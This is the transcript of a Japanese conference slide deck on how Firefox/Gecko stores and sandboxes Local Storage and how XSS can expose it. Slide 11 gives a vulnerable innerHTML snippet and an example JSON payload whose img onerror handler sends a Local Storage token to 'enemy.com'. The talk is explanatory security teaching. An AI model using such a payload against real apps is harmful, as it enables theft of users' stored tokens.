Top Banner
GeckoのLocal Storageについて調べてみた FxOS Gecko勉強会 その2 2013.12.19 @ Mozilla Japan オフィス 2014.06.23 Updated
12

GeckoのLocal Storageについて調べてみた

May 24, 2015

Download

Technology

2013年12月19日に開催される「FxOS Gecko勉強会 その2
」の発表資料です。
2014年6月23日、アップデートしました。
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: GeckoのLocal Storageについて調べてみた

GeckoのLocal Storageについて調べてみた

FxOS Gecko勉強会 その2 2013.12.19 @ Mozilla Japan オフィス

2014.06.23 Updated

Page 2: GeckoのLocal Storageについて調べてみた

2

自己紹介

本発表は私の個人的な調査に基づくものです。 内容に誤りがあるかもしれませんがご了承ください

名前 西村 宗晃 (にしむねあ)

・https://www.facebook.com/muneaki.nishimura

職業 セキュリティエンジニア

・セキュア開発のコンサルティング

・Android端末~アプリの開発支援

Page 3: GeckoのLocal Storageについて調べてみた

3

Local Storageとは

• HTTPクライアントに永続的なデータを保存する機能

↔ Session Storage : セッション(ウィンドウが閉じるまで)の間だけ有効なデータを保存

• W3CのWeb Storage仕様の一部

⁃ 元々はHTML5仕様の一部だったが、現在は独立

• key-value形式によるデータ管理

localStorage.setItem("foo","bar");

var foo = localStorage.getItem("foo"); // foo = "bar"

Page 4: GeckoのLocal Storageについて調べてみた

4

GeckoにおけるLocal Storageの実装①

• Local Storageのデータは1つのSQLiteファイルに保存

⁃ Firefoxブラウザ (Mac):

~/Library/Application Support/Firefox/Profiles/{profile}/webappsstore.sqlite

⁃ Firefox OS:

/data/b2g/mozilla/{profile}/webappsstore.sqlite

• webappsstore2テーブルのレコードとして保存

⁃ 1組のkey-valueデータが1レコードに対応

Page 5: GeckoのLocal Storageについて調べてみた

5

GeckoにおけるLocal Storageの実装②

scope key value secure owner

moc.elpmaxe.:http:80 foo bar

※moc.elpmaxeは example.comを逆さにしたもの

• scopeにより各オリジンのLocal Storageを分離

⁃ 同一生成元ポリシー(RFC 6454)に基づくアクセス保護を実現

⁃ Firefox OSでは、同一生成元ポリシー+サンドボックスによるアクセス保護を実現(次頁)

• 例) http://example.com:80/ で foo=bar というデータを保存した場合

⁃ scopeフィールドにデータのオリジン(スキーム+ホスト名+ポート番号)を保存

Page 6: GeckoのLocal Storageについて調べてみた

6

Firefox OSにおけるLocal Storageの保護①

• Webアプリのサンドボックス

⁃ 端末内のアプリは固有のオリジン(app://)を持つ

⁃ 他のアプリのLocal Storageはアクセスできない

• ブラウザAPIのサンドボックス

⁃ <iframe mozbrowser>で開かれたページはアプリと異なるサンドボックスを持つ

⁃ <iframe mozbrowser>のLocal Storageは呼び出し元のアプリから分離される

Page 7: GeckoのLocal Storageについて調べてみた

7

Firefox OSにおけるLocal Storageの保護②

• これらのサンドボックスによるデータの保護はscopeで実現されている

⁃ = アプリID : Browser Contentフラグ(t/f) : ホスト名 : ポート番号 : スキーム

アプリA (オリジン=app://hoge・アプリID=1005)

アプリA内部のJavaScriptファイル

1005:f:egoh.:app

<iframe src="http://example.com:80">

1005:f:moc.elpmaxe.80:http

<iframe src="http://example.com:80/" mozbrowser>

1005:t:moc.elpmaxe.80:http http://example.com:80

scope

Page 8: GeckoのLocal Storageについて調べてみた

8

Local Storage自体のアクセス制御①

• 以下の場合はwindow.localStorageの参照が禁止される

⁃ GeckoのWeb Storage機能が無効化されている場合

⁃ Preferenceの「dom.storage.enabled」が「false」

⁃ Cookieの使用が無効化されている場合

⁃ サイト別設定マネージャーの「Cookieデータの保存」が「拒否」

⁃ Preferenceの「network.cookie.cookieBehavior」が「使用禁止(2)」

⁃ Preferenceの「network.cookie.lifetimepolicy」が「毎回ユーザーに確認(1)」

⁃ <iframe>にsandbox属性が適用されている場合

⁃ ただしallow-same-originトークンが指定されていない場合のみ

Page 9: GeckoのLocal Storageについて調べてみた

9

Local Storage自体のアクセス制御②

• 以下の場合はデータがストレージに保存されない(RAMにのみ保存される)

⁃ Cookieがセッションの間のみ有効である場合

⁃ サイト別設定マネージャーの「Cookieデータの保存」が「セッション中のみ許可」

⁃ Preferenceの「network.cookie.lifetimepolicy」が「ブラウザ終了時まで保存(2)」

⁃ プライベートブラウジングモードで閲覧中の場合

Page 10: GeckoのLocal Storageについて調べてみた

10

アプリのLocal StorageとXSS脆弱性①

• アプリにXSS脆弱性があるとLocal Storageのデータは盗み出せてしまう

⁃ CookieのようにJavaScriptからのアクセスを禁止する仕組みが無いため

• Firefox OSのアプリにはXSSの保険的対策としてCSPが適用されている

⁃ しかしPrivileged AppのCSPには「unsafe-inline」が指定されているので

DOMツリーにJavaScriptコードを出力しても動作してしまう (次頁参照)

⁃ Firefox OS v1.2のPrivileged Appでは「unsafe-inline」が外された模様

⁃ XSSでLocal Storageを盗み出すのは困難になった

Page 11: GeckoのLocal Storageについて調べてみた

11

アプリのLocal StorageとXSS脆弱性②

• 以下のようなコードがあるとLocal Storageのデータを盗まれてしまう

var req = new XMLHttpRequest({mozSystem: true});

req.open('GET', destination, true);

req.onreadystatechange = function(e) {

var contact = JSON.parse(req.responseText);

document.getElementById("email").innerHTML = contact.email;

}; req.send(null);

{"email":"<img src='d.png' onerror='document.location.href=¥"http://enemy.com?

token=¥"+localStorage.getItem(¥"key¥");'>"}

脆弱なアプリのJavaScriptコード例

サーバがアプリに送るJSONデータ(攻撃コード)

Page 12: GeckoのLocal Storageについて調べてみた

12

宣伝:本を書きました「狐物語」

タイトル 狐物語

ページ数 68ページ

価格 1,000円(イベント頒布価格)

表紙 イラスト しのめり / @shino_merry デザイン siosio

目次

第一話 がいあハックス @bathtimefish 第二話 あぷりサポート @cattaka_net 第三話 すまほツイリオ @junkpot1212 第四話 もじらスライス にしむねあ 第五話 かえんワールド @meco300

URL http://techbooster-c85.appspot.com/#foxtory

C85 3日目 西す24a TechBoosterにて発売